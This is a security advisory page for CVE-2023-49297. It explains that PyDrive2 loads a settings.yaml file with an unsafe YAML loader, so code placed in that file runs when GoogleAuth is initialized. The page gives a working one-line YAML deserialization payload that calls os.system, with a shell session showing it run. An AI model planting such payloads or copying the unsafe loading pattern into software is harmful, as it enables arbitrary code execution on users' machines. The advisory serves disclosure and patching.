Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS12NWY2LWhqbWYtOW1jNc4AA3lG
PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile
.
Details
The loader being imported from the yaml
library is CLoader
: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yaml
file:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuth
object .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml
file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NWY2LWhqbWYtOW1jNc4AA3lG
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: 12 months ago
Updated: 11 months ago
CVSS Score: 3.3
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Identifiers: GHSA-v5f6-hjmf-9mc5, CVE-2023-49297
References:
- https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5
- https://nvd.nist.gov/vuln/detail/CVE-2023-49297
- https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004
- https://lists.fedoraproject.org/archives/list/[email protected]/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG/
- https://lists.fedoraproject.org/archives/list/[email protected]/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW/
- https://github.com/advisories/GHSA-v5f6-hjmf-9mc5
Blast Radius: 6.8
Affected Packages
pypi:PyDrive2
Dependent packages: 21Dependent repositories: 114
Downloads: 479,854 last month
Affected Version Ranges: < 1.16.2, = 1.17.0
Fixed in: 1.16.2,
All affected versions: 0.14.0, 1.4.0, 1.4.1, 1.4.2, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 1.4.9, 1.4.10, 1.4.11, 1.4.12, 1.4.13, 1.4.14, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.7.0, 1.7.2, 1.7.3, 1.8.0, 1.8.1, 1.8.2, 1.8.3, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.9.4, 1.10.0, 1.10.1, 1.10.2, 1.11.0, 1.11.1, 1.11.2, 1.12.0, 1.12.1, 1.13.0, 1.14.0, 1.15.0, 1.15.1, 1.15.2, 1.15.3, 1.15.4, 1.16.0, 1.16.1, 1.17.0
All unaffected versions: 1.16.2, 1.18.0, 1.18.1, 1.19.0, 1.20.0, 1.21.1